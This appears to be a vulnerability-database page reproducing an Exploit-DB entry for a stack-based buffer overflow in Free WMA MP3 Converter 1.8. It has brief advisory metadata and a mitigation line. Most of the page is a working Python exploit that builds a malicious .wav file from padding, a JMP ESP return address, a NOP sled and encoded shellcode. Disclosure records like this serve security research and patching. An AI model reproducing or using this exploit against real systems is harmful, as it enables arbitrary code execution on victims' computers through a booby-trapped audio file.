Free WMA MP3 Converter 1.8 Buffer Overflow

vendor:

Free WMA MP3 Converter

by:

metacom

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Free WMA MP3 Converter

Affected Version From: 1.8 Build 20140226

Affected Version To: 1.8 Build 20140226

Patch Exists: YES

Related CWE: N/A

CPE: a:eusing_software:free_wma_mp3_converter

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7, Windows 8.1

2014

Free WMA MP3 Converter 1.8 Buffer Overflow

A buffer overflow vulnerability exists in Free WMA MP3 Converter 1.8 Build 20140226. The vulnerability is caused due to a boundary error when handling a specially crafted .wav file. This can be exploited to cause a stack-based buffer overflow by e.g. enticing a user to open a malicious .wav file. Successful exploitation may allow execution of arbitrary code.

Mitigation:

Upgrade to the latest version of Free WMA MP3 Converter.

Source

Exploit-DB raw data:

#!/usr/bin/env python
# Free WMA MP3 Converter 1.8 Buffer Overflow 
# Version:1.8 Build 20140226 
# Author:metacom    
# Date:10.23.2014
# Download:http://www.eusing.com/free_wma_converter/mp3_wma_converter.htm
# Tested on:Win7-En 32bit - Win8.1-DE 64bit
import struct
def little_endian(address):
  return struct.pack("<L",address)
poc="\x41" * 4112
eip=little_endian(0x0045CD1A)#0045CD1A   FFE4  JMP ESP
nops="\x90" * 80
shellcode=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83")
exploit = poc + eip + nops + shellcode
try:
    rst= open("bof_WMA MP3 Converter.wav",'w')
    rst.write(exploit)
    rst.close()
except:
    print "Error"